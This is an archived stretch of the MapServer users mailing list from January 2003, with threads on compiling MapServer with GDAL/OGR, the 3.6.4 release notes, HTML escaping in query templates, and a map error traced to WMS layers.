------_=_NextPart_001_01C2B744.53168880-- From DMartin at erac.com Wed Jan 8 10:36:16 2003 From: DMartin at erac.com (Martin, Daniel) Date: Wed, 8 Jan 2003 12:36:16 -0600 Subject: [Mapserver-users] RE: [rosa-users] Rosa Applet for Mac? Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035AADBCC0@STL-EXBE-I03.corp.erac.com> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C2B744.D45F5B78 Content-Type: text/plain; charset="iso-8859-1" I've attached a mapplet based interface I wrote a while back that has buttons that work similar to the Rosa buttons (in fact I used the images from Rosa). It is really a prototype. Use at your own risk - and all that disclaimer jazz. Since it doesn't rely on LiveConnect, I would assume it should work. But, I don't own any Macs so I can't tell you for sure. I believe Mapplet is available on the UMN site, but ask if you cannot find it. -Dan Martin > -----Original Message----- > From: Van Ulden, Joost [mailto:jvanulde at nrcan.gc.ca] > Sent: Wednesday, January 08, 2003 12:11 PM > To: Mapserver-Users at Lists. Gis. Umn. Edu (E-mail) > Cc: Rosa-Users at Dmsolutions. Ca (E-mail) > Subject: [rosa-users] Rosa Applet for Mac? > > > Has anyone developed a Mac compatible applet for Mapserver? > I am assuming > that the issue is related to the lack of support for > LiveConnect on the Mac > platform. > > Regards, > > ============================================ > Joost van Ulden > Programmer/Analyst > Natural Resources Canada / Ressources naturelles Canada > Geological Survey of Canada / Commission geologique du Canada > 101 - 605 Robson Street / 101 - 605 rue Robson > Vancouver, B.C. / Vancouver (C.-B.) > V6B 5J3 > Office/Bureau: 604.666.7525 > fax/telecopieur: 604.666.1124 > jvanulde at nrcan.gc.ca > ============================================ > > _______________________________________________ > ROSA-users mailing list > ROSA-users at dmsolutions.ca > http://lists.dmsolutions.ca/mailman/listinfo/rosa-users > ------_=_NextPart_000_01C2B744.D45F5B78 Content-Type: text/html; name="mappletClient.html" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="mappletClient.html" Map Client
    [title]  
 
    © 2002 Your Company = Here  
 
Reference Map
Legend
[legend]
Query
[query]
------_=_NextPart_000_01C2B744.D45F5B78-- From assefa at dmsolutions.ca Wed Jan 8 10:39:35 2003 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 08 Jan 2003 13:39:35 -0500 Subject: [Mapserver-users] Compiled 3.7 with Flash swf support? References: <8AE17DD6AA4FD51191CD0002A551168184BB25@s5-van1-r1.ess.nrcan.gc.ca> Message-ID: <3E1C7067.28205F68@dmsolutions.ca> There is one available at http://www2.dmsolutions.ca/mapserver/dl/mapserver-3.7-dev-win32-php4.2.3-libwww.zip. The souce code dates from Dec 9 so the latest fixes are not available. I am going to update the download site with newer versions in the comming weeks. Later, "Grant, Ryan" wrote: > Hey there, > > Is there are precompiled 3.7 with Flash swf support available to download? > I'm interested in doing some playing/testing. > > Thanks! > > Ryan > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From morissette at dmsolutions.ca Wed Jan 8 11:48:08 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 08 Jan 2003 14:48:08 -0500 Subject: [Mapserver-users] mapserver compile problems References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca> <3E1C0C2A.4020103@geosysnet.de> Message-ID: <3E1C8078.A9CFF4AE@dmsolutions.ca> Philipp Jacob wrote: > > i recompiled the gdal library. > configure checked for OGR support and enabled it. well, sounds nice. > 'make all' 'make install' done.. > > then i configured the mapserver again. > additionally with the option: --with-ogr > configure finished successfully and i had a look at the Makefile. > OGR support is mentioned there, and the right paths are set. > (/usr/local/lib -lgdal.1.1) > > but 'make' brings even more 'undefined references' than before: > > ------------ > ... > ./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj > *)': > mapogr.o(.text+0x16c): undefined reference to > `OGRPolygon::getExteriorRing(void)' Looks very much like your libgdal.1.1.so doesn't include OGR support. Did you do a 'make clean' after you reconfigured your GDAL and before recompiling and reinstalling it? Did you also do a 'make clean' in the MapServer directory before recompiling it? I guess you could also check that OGR is really included in your libgdal.1.1.so using the following command, you should see about 30 symbols associated with OGRPolygon: nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon The last thing I can think of would be an issue with the order of the libraries on the link command, but I don't think I've ever seen this happening on any platform with MapServer. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mpr at dpi.ufv.br Wed Jan 8 13:29:45 2003 From: mpr at dpi.ufv.br (=?iso-8859-1?Q?Maur=EDcio?= Pereira Reis) Date: Wed, 08 Jan 2003 19:29:45 -0200 Subject: [Mapserver-users] MapServer on Windows xp Message-ID: <5.1.0.14.0.20030108192705.00baa088@vicosa.dpi.ufv.br> Will MapServer compile on Windows xp? Thanks! Mauricio From assefa at dmsolutions.ca Wed Jan 8 14:19:54 2003 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 08 Jan 2003 17:19:54 -0500 Subject: [Mapserver-users] MapServer on Windows xp References: <5.1.0.14.0.20030108192705.00baa088@vicosa.dpi.ufv.br> Message-ID: <3E1CA40A.BC36ED5F@dmsolutions.ca> Yes. I do my compilations on XP. Maur?cio Pereira Reis wrote: > Will MapServer compile on Windows xp? > > Thanks! > > Mauricio > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From ARyan at co.linn.or.us Wed Jan 8 14:34:07 2003 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Wed, 8 Jan 2003 14:34:07 -0800 Subject: [Mapserver-users] MapServer on Windows xp Message-ID: <614FCE5F14A6D41180C200010240D6A20104C612@LINNMS> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2B766.0E7E4A60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Yewondwossen, Are you using VC++ to compile mapserver? Thanks, Adam -----Original Message----- From: Yewondwossen Assefa [mailto:assefa at dmsolutions.ca] Sent: Wednesday, January 08, 2003 2:20 PM To: Maur=EDcio Pereira Reis Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] MapServer on Windows xp Yes. I do my compilations on XP. Maur=EDcio Pereira Reis wrote: > Will MapServer compile on Windows xp? > > Thanks! > > Mauricio > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------_=_NextPart_001_01C2B766.0E7E4A60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [Mapserver-users] MapServer on Windows xp

Yewondwossen,

Are you using VC++ to compile mapserver?

Thanks,

Adam

-----Original Message-----
From: Yewondwossen Assefa [mailto:assefa at dmsolutions.ca]<= /FONT>
Sent: Wednesday, January 08, 2003 2:20 PM
To: Maur=EDcio Pereira Reis
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] MapServer on Windows = xp


Yes. I do my compilations on XP.

Maur=EDcio Pereira Reis wrote:

> Will MapServer compile on Windows xp?
>
> Thanks!
>
> Mauricio
>
> = _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-us= ers

--
---------------------------------------------------------------= -
Assefa Yewondwossen
Software Analyst

Email: assefa at dmsolutions.ca
http://www.dmsolutions.ca/

Phone: (613) 565-5056 (ext 14)
Fax:   (613) 565-0925
---------------------------------------------------------------= -



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-us= ers

------_=_NextPart_001_01C2B766.0E7E4A60-- From morissette at dmsolutions.ca Wed Jan 8 21:41:55 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 09 Jan 2003 00:41:55 -0500 Subject: [Mapserver-users] MapServer 3.6.4 release Message-ID: <3E1D0BA3.6FA42D7F@dmsolutions.ca> Hi everyone, A new MapServer version 3.6.4 release has been posted to the MapServer website tonight. I'll attach the list of changes since 3.6.3 at the end of this message, mostly minor bug fixes. You can get the 3.6.4 source at http://mapserver.gis.umn.edu/dload.html Pericles mentioned that he would make new win32 builds available on the UMN site shortly (http://mapserver.gis.umn.edu/win32binaries.html), and new PHP MapScript DLLs should be available on the DM Solutions download site soon as well (http://www2.dmsolutions.ca/mapserver/dl/). Finally, a note about the SWIG wrappers in this source package: Steve Lime wrote: > > There is one small difference. The version of Swig used to build the > Perl/Python/Tcl interfaces is different than in previous releases. With > Perl there is a subtle difference in how you instantiate objects: > > $map = new mapObj(...); > > becomes: > > $map = new mapscript::mapObj(...); > > This change was made to bring Perl in line with the other language > modules. Enjoy! Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ Version 3.6.4 (2003-01-08) -------------------------- - Use LD instead of CC to refer to linker program name in the Makefile to help dealing with GCC 3.x issues (doesn't resolve the issue completely) - Added missing MS_LAYER_CIRCLE and MS_CC constants in PHP MapScript - Fixed bad memory corruption bug with WMS SRS parameter value mapwms.c (Thanks to Ed M. for finding it) - Added version 3.7's mappostgis.c - minor bug fixes - lots of help if you make a mistake - more functionality - Fixed problem in space-delimited wms_srs metadata with WMS client mode where the last SRS in the string was never used even if it would have been a best match. Causing unnecessary WMS reprojections in several cases. - Fixed configure script to produce an error if --with-gdal does not point to a valid gdal-config file. From berend.veldkamp at aris.nl Thu Jan 9 02:40:28 2003 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Thu, 09 Jan 2003 11:40:28 +0100 Subject: [Mapserver-users] MapServer 3.6.4 release References: <3E1D0BA3.6FA42D7F@dmsolutions.ca> Message-ID: <3E1D519C.25F80B2A@aris.nl> Any idea if joins are fixed in this release or do I have to wait for 3.7? Berend Daniel Morissette wrote: > > Hi everyone, > > A new MapServer version 3.6.4 release has been posted to the MapServer > website tonight. I'll attach the list of changes since 3.6.3 at the end > of this message, mostly minor bug fixes. -- From berend.veldkamp at aris.nl Thu Jan 9 02:51:50 2003 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Thu, 09 Jan 2003 11:51:50 +0100 Subject: [Mapserver-users] HTML characters in template Message-ID: <3E1D5445.B9FE1E3F@aris.nl> I noticed MS doesn't encode special characters in query templates, i.e. when [ITEMNAME] contains >, it should be replaced by > Comments? Berend -- _________________________________________________ ARIS - Hooghiemstraplein 126 - NL 3514 AZ Utrecht tel. +31 30 2769180 - fax. +31 30 2733578 url: http://www.aris.nl/ _________________________________________________ From philipp.jacob at geosysnet.de Thu Jan 9 03:03:59 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Thu, 09 Jan 2003 12:03:59 +0100 Subject: [Mapserver-users] mapserver compile problems References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca> <3E1C0C2A.4020103@geosysnet.de> <3E1C8078.A9CFF4AE@dmsolutions.ca> Message-ID: <3E1D571F.3040201@geosysnet.de> Daniel Morissette wrote: >Philipp Jacob wrote: > > >>i recompiled the gdal library. >>configure checked for OGR support and enabled it. well, sounds nice. >>'make all' 'make install' done.. >> >>then i configured the mapserver again. >>additionally with the option: --with-ogr >>configure finished successfully and i had a look at the Makefile. >>OGR support is mentioned there, and the right paths are set. >>(/usr/local/lib -lgdal.1.1) >> >>but 'make' brings even more 'undefined references' than before: >> >>------------ >>... >>./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj >>*)': >>mapogr.o(.text+0x16c): undefined reference to >>`OGRPolygon::getExteriorRing(void)' >> >> > > >Looks very much like your libgdal.1.1.so doesn't include OGR support. >Did you do a 'make clean' after you reconfigured your GDAL and before >recompiling and reinstalling it? Did you also do a 'make clean' in the >MapServer directory before recompiling it? > >I guess you could also check that OGR is really included in your >libgdal.1.1.so using the following command, you should see about 30 >symbols associated with OGRPolygon: > >nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon > >The last thing I can think of would be an issue with the order of the >libraries on the link command, but I don't think I've ever seen this >happening on any platform with MapServer. > >Daniel > > "nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon" brings up the following: ---------- 00183bc0 T _Z14OGRGetCentroidP10OGRPolygonP8OGRPoint 00183450 T _Z20OGRPolygonLabelPointP10OGRPolygonP8OGRPoint 001833b0 T _Z24OGRIntersectPointPolygonP8OGRPointP10OGRPolygon 00188610 T _ZN10OGRPolygon11exportToWkbE15OGRwkbByteOrderPh 00188950 T _ZN10OGRPolygon11exportToWktEPPc 00188ae0 T _ZN10OGRPolygon11getEnvelopeEP11OGREnvelope 00188230 T _ZN10OGRPolygon12getDimensionEv 00188420 T _ZN10OGRPolygon13importFromWkbEPhi 001886f0 T _ZN10OGRPolygon13importFromWktEPPc 00188ad0 T _ZN10OGRPolygon14PointOnSurfaceEP8OGRPoint 00188380 T _ZN10OGRPolygon15addRingDirectlyEP13OGRLinearRing 00188270 T _ZN10OGRPolygon15getExteriorRingEv 00188250 T _ZN10OGRPolygon15getGeometryNameEv 00188220 T _ZN10OGRPolygon15getGeometryTypeEv 001882c0 T _ZN10OGRPolygon15getInteriorRingEi 001882a0 T _ZN10OGRPolygon19getNumInteriorRingsEv 00188240 T _ZN10OGRPolygon22getCoordinateDimensionEv 00188bf0 T _ZN10OGRPolygon5EqualEP11OGRGeometry 001880e0 T _ZN10OGRPolygon5cloneEv 00188180 T _ZN10OGRPolygon5emptyEv 001883d0 T _ZN10OGRPolygon7WkbSizeEv 001882f0 T _ZN10OGRPolygon7addRingEP13OGRLinearRing 00188ac0 T _ZN10OGRPolygon8CentroidEP8OGRPoint 00188aa0 T _ZN10OGRPolygon8get_AreaEv 00188cf0 T _ZN10OGRPolygon9transformEP27OGRCoordinateTransformation 00187fb0 T _ZN10OGRPolygonC1Ev 00187f70 T _ZN10OGRPolygonC2Ev 00188090 T _ZN10OGRPolygonD0Ev 00188040 T _ZN10OGRPolygonD1Ev 00187ff0 T _ZN10OGRPolygonD2Ev 00173ff0 T _ZN9TABRegion13AppendSecHdrsEP10OGRPolygonRP19TABMAPCoordSecHdr_tP10TABMAPFileRi 0021c330 V _ZTI10OGRPolygon 001df416 V _ZTS10OGRPolygon 0021c240 V _ZTV10OGRPolygon ---------- then i configured the new mapserver version 3.6.4: ---------- ... checking whether we should include OGR support... checking for gdal-config... /usr/local/bin/gdal-config checking for OGRRegisterAll in -lgdal.1.1... yes using OGR from system libs. checking if GDAL support requested... yes ... ----------- but 'make' doesn't finish anyway. (again many 'undefined references'...) From mschulz at webgis.de Thu Jan 9 04:02:12 2003 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 09 Jan 2003 13:02:12 +0100 Subject: [Mapserver-users] HTML characters in template References: <3E1D5445.B9FE1E3F@aris.nl> Message-ID: <3E1D64C4.7483E3E3@webgis.de> Hi, i think most template commands have an escaped version, just append _esc: e.g. [post or get variable name_esc] HTH, Michael Berend Veldkamp schrieb: > I noticed MS doesn't encode special characters in query templates, > i.e. when [ITEMNAME] contains >, it should be replaced by > > Comments? > > Berend > > -- > _________________________________________________ > > ARIS - Hooghiemstraplein 126 - NL 3514 AZ Utrecht > tel. +31 30 2769180 - fax. +31 30 2733578 > url: http://www.aris.nl/ > _________________________________________________ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de From berend.veldkamp at aris.nl Thu Jan 9 05:08:30 2003 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Thu, 09 Jan 2003 14:08:30 +0100 Subject: [Mapserver-users] HTML characters in template References: <3E1D5445.B9FE1E3F@aris.nl> <3E1D64C4.7483E3E3@webgis.de> Message-ID: <3E1D744E.8BD7CC@aris.nl> Ah yes, I see it now in the documentation. That's since version 3.6, right? Berend Michael Schulz wrote: > > Hi, > > i think most template commands have an escaped version, just append > _esc: > e.g. [post or get variable name_esc] > > HTH, Michael > > Berend Veldkamp schrieb: > > > I noticed MS doesn't encode special characters in query templates, > > i.e. when [ITEMNAME] contains >, it should be replaced by > > > Comments? > > > > Berend -- From morissette at dmsolutions.ca Thu Jan 9 06:57:17 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 09 Jan 2003 09:57:17 -0500 Subject: [Mapserver-users] MapServer 3.6.4 release References: <3E1D0BA3.6FA42D7F@dmsolutions.ca> <3E1D519C.25F80B2A@aris.nl> Message-ID: <3E1D8DCD.506501F6@dmsolutions.ca> Berend Veldkamp wrote: > > Any idea if joins are fixed in this release or do I have to wait for > 3.7? > There is no change in 3.6 with respect to joins AFAIK and I wouldn't expect any to happen in the 3.6.x series, so you'll have to wait for 3.7. I don't know if joins are already re-enabled in 3.7, but if they are then 3.7 is already quite useable if you want to try it. FYI, the only fixes that we make in 3.6.x are simple maintenance fixes to improve stability of the software, but we will not introduce new code because of the risk of creating new problems in a stable version of the software (fixing joins would be considered a new feature). I guess the backport of the PostGIS stuff from 3.7 to 3.6.4 is an exception to this rule but it was because of some important problems in the previous versions and the fact that the developer who did that was very confident that this wouldn't cause any side-effect. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Thu Jan 9 08:09:07 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 09 Jan 2003 10:09:07 -0600 Subject: [Mapserver-users] HTML characters in template Message-ID: Yup, but I'm not sure it fixes your problem. The _esc replacement is basically there so you could escape data for inclusion in other URLs. Special characters are replaced with their hexidecimal ascii codes so a space becomes %20 and so on. I think what you want is html escapes and we'd need to add that, probably as another substitution qualifier: [variable_html] or something like that Thoughts? Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> Berend Veldkamp 01/09/03 07:08AM >>> Ah yes, I see it now in the documentation. That's since version 3.6, right? Berend Michael Schulz wrote: > > Hi, > > i think most template commands have an escaped version, just append > _esc: > e.g. [post or get variable name_esc] > > HTH, Michael > > Berend Veldkamp schrieb: > > > I noticed MS doesn't encode special characters in query templates, > > i.e. when [ITEMNAME] contains >, it should be replaced by > > > Comments? > > > > Berend -- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From philipp.jacob at geosysnet.de Thu Jan 9 08:36:53 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Thu, 09 Jan 2003 17:36:53 +0100 Subject: [Mapserver-users] mapserver compile problems References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca> <3E1C0C2A.4020103@geosysnet.de> <3E1C8078.A9CFF4AE@dmsolutions.ca> Message-ID: <3E1DA525.2070604@geosysnet.de> ok, i think i have found my mistake! i recompiled the gdal library, now with the gcc 2.95: 'CXX=/opt/gcc295/bin/c++ CC=/opt/gcc295/bin/gcc ./configure' 'make' 'make install' compiling mapserver made no mistakes anymore. thanks for all your help! Daniel Morissette wrote: >Philipp Jacob wrote: > > >>i recompiled the gdal library. >>configure checked for OGR support and enabled it. well, sounds nice. >>'make all' 'make install' done.. >> >>then i configured the mapserver again. >>additionally with the option: --with-ogr >>configure finished successfully and i had a look at the Makefile. >>OGR support is mentioned there, and the right paths are set. >>(/usr/local/lib -lgdal.1.1) >> >>but 'make' brings even more 'undefined references' than before: >> >>------------ >>... >>./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj >>*)': >>mapogr.o(.text+0x16c): undefined reference to >>`OGRPolygon::getExteriorRing(void)' >> >> > > >Looks very much like your libgdal.1.1.so doesn't include OGR support. >Did you do a 'make clean' after you reconfigured your GDAL and before >recompiling and reinstalling it? Did you also do a 'make clean' in the >MapServer directory before recompiling it? > >I guess you could also check that OGR is really included in your >libgdal.1.1.so using the following command, you should see about 30 >symbols associated with OGRPolygon: > >nm /usr/local/lib/libgdal.1.1.so | grep OGRPolygon > >The last thing I can think of would be an issue with the order of the >libraries on the link command, but I don't think I've ever seen this >happening on any platform with MapServer. > >Daniel > > From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 08:36:31 2003 From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor) Date: Thu, 9 Jan 2003 11:36:31 -0500 Subject: [Mapserver-users] msOpenSHPFile error Message-ID: <048FBD219330D211B47000A0C9B3BAFD0489867C@crl02.crrel.usace.army.mil> Hello. Some of our users are experiencing a strange MapServer error that I haven't yet been able to duplicate. At a certain scale, the map will be drawn with the following error written on the map image itself: "msOpenSHPFile(): (M:\misc\utm16.shp)". This is not a filename on our system and I can't find that text in the source code anywhere. Does anyone have any idea what might be causing this? Thanks for any advice. Cheers, Hannah Hannah Jensen (603) 646-4145 Remote Sensing / GIS Center Cold Regions Research and Engineering Lab (CRREL) US Army Corps of Engineers 72 Lyme Rd, Hanover, NH 03755-1290 From berend.veldkamp at aris.nl Thu Jan 9 08:36:41 2003 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Thu, 09 Jan 2003 17:36:41 +0100 Subject: [Mapserver-users] HTML characters in template References: Message-ID: <3E1DA519.81B7C4DD@aris.nl> That shouldn't be too hard if you just convert the basic characters that could mess up html code: <, >, " and maybe &. If you want to convert all characters (?, ?, ?, ...) you'd need to know which characterset the data is in. But most modern browsers display these characters ok anyway, so it's not a priority, I guess. BTW It would be nice if 'characterset' was a property of the layer object, we sometimes experience problems when maplabels contain special characters, or can this be changed in some way already? Berend Steve Lime wrote: > > Yup, but I'm not sure it fixes your problem. The _esc replacement is > basically there so you could escape data for inclusion in other URLs. > Special characters are replaced with their hexidecimal ascii codes so a > space becomes %20 and so on. I think what you want is html escapes and > we'd need to add that, probably as another substitution qualifier: > > [variable_html] or something like that > > Thoughts? > > Steve > > -- > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- From jmccue at geovue.com Thu Jan 9 08:37:23 2003 From: jmccue at geovue.com (John McCue) Date: Thu, 9 Jan 2003 11:37:23 -0500 Subject: [Mapserver-users] mapparser.obj and maplexer.obj Message-ID: I am running into a few problems compiling v3.7: - I tried to make mapparser.c using: bison.exe -p msyy -d -omapparser.c mapparser.y I get: bison.exe: "C:\mapserv\bison": Invalid argument - When I run NMAKE on the makefile, I get a lot of maplexer.l 'undeclared identifiers' as well as some errors saying: error C2224: left of '.dblval' must have struct/union type Any ideas? Thanks! John From Chip.Hankley at GASAI.Com Thu Jan 9 09:27:51 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Thu, 9 Jan 2003 11:27:51 -0600 Subject: [Mapserver-users] msOpenSHPFile error Message-ID: <3DFF131E4E6D2D4198CDD758F35A53530278529B@postoffice.GASAI.Com> Hannah - Have you done a search in the Map file for 'utm16'? Is this a CGI application, or a Mapscript application? Chip From jmccue at geovue.com Thu Jan 9 09:45:34 2003 From: jmccue at geovue.com (John McCue) Date: Thu, 9 Jan 2003 12:45:34 -0500 Subject: [Mapserver-users] mapparser.obj and maplexer.obj Message-ID: I found my error - the bison environment variables BISON_SIMPLE and BISON_HAIRY were set incorrectly and mapparser.h was not being created. John McCue geoVue 200 Lincoln Street 5th Floor Boston, Massachusetts 02111 USA p 617.451.2520 x123 f 617.486.3066 www.geoVue.com LOCATION INTELLIGENCE jmccue at geovue.com From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 10:27:16 2003 From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor) Date: Thu, 9 Jan 2003 13:27:16 -0500 Subject: [Mapserver-users] msOpenSHPFile error Message-ID: <048FBD219330D211B47000A0C9B3BAFD0489867E@crl02.crrel.usace.army.mil> Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas? Thanks, Hannah -----Original Message----- From: Hankley, Chip [mailto:Chip.Hankley at GASAI.Com] Sent: Thursday, January 09, 2003 12:28 PM To: 'Jensen, Hannah ERDC-CRREL-NH Contractor'; MapServer List (E-mail) Subject: RE: [Mapserver-users] msOpenSHPFile error Hannah - Have you done a search in the Map file for 'utm16'? Is this a CGI application, or a Mapscript application? Chip From morissette at dmsolutions.ca Thu Jan 9 10:39:46 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Thu, 09 Jan 2003 13:39:46 -0500 Subject: [Mapserver-users] msOpenSHPFile error References: <048FBD219330D211B47000A0C9B3BAFD0489867E@crl02.crrel.usace.army.mil> Message-ID: <3E1DC1F2.14DB1F4D@dmsolutions.ca> "Jensen, Hannah ERDC-CRREL-NH Contractor" wrote: > > Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas? > Do you use WMS layers in your app? It could be that the error comes from a remote WMS layer, errors from WMS layers can be returned 'in-image'. That's the only explanation I can think of. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From ed at topozone.com Thu Jan 9 10:57:34 2003 From: ed at topozone.com (Ed McNierney) Date: Thu, 9 Jan 2003 13:57:34 -0500 Subject: [Mapserver-users] msOpenSHPFile error Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AD8@mercator.topozone.com> Hannah - You'll also get this error if the file "utm16" is referenced in a TILEINDEX file. If that's the case, you'll find the name "utm16" in the Location field of the tile index shape file, but you won't find it in the MAP file. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Jensen, Hannah ERDC-CRREL-NH Contractor [mailto:Hannah.Jensen at erdc.usace.army.mil] Sent: Thursday, January 09, 2003 1:27 PM To: 'Hankley, Chip'; MapServer List (E-mail) Subject: RE: [Mapserver-users] msOpenSHPFile error Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas? Thanks, Hannah -----Original Message----- From: Hankley, Chip [mailto:Chip.Hankley at GASAI.Com] Sent: Thursday, January 09, 2003 12:28 PM To: 'Jensen, Hannah ERDC-CRREL-NH Contractor'; MapServer List (E-mail) Subject: RE: [Mapserver-users] msOpenSHPFile error Hannah - Have you done a search in the Map file for 'utm16'? Is this a CGI application, or a Mapscript application? Chip _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Hannah.Jensen at erdc.usace.army.mil Thu Jan 9 11:44:43 2003 From: Hannah.Jensen at erdc.usace.army.mil (Jensen, Hannah ERDC-CRREL-NH Contractor) Date: Thu, 9 Jan 2003 14:44:43 -0500 Subject: [Mapserver-users] msOpenSHPFile error Message-ID: <048FBD219330D211B47000A0C9B3BAFD04898680@crl02.crrel.usace.army.mil> Yes, there are WMS layers in the app. They were only being used for testing purposes. I removed them and the problem has cleared up. Thanks for the help! Cheers, Hannah -----Original Message----- From: Daniel Morissette [mailto:morissette at dmsolutions.ca] Sent: Thursday, January 09, 2003 1:40 PM To: Jensen, Hannah ERDC-CRREL-NH Contractor Cc: MapServer List (E-mail) Subject: Re: [Mapserver-users] msOpenSHPFile error "Jensen, Hannah ERDC-CRREL-NH Contractor" wrote: > > Hi, Chip. Yes I did search the map file, there's no mention of 'utm16'. This is a CGI application. I'm especially puzzled by what would cause the error to be rendered in the map image. Any ideas? > Do you use WMS layers in your app? It could be that the error comes from a remote WMS layer, errors from WMS layers can be returned 'in-image'. That's the only explanation I can think of. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From John.Arthur at T-Mobile.com Thu Jan 9 14:09:06 2003 From: John.Arthur at T-Mobile.com (Arthur, John) Date: Thu, 9 Jan 2003 14:09:06 -0800 Subject: [Mapserver-users] CLX component Message-ID: Last year, Pedro A. Carrasco, mentioned something about a CLX components for Delphi or Kylix. I was wandering if anybody has done something with mapserver and Delphi, Kylix or C++. I am learning Delphi and C++ and would like to experiment with creating a GIS product for Linux other than Grass. -- John Arthur RF Technician Office: (757) 490-7221 Cellular: (757) 839-0021 Email: 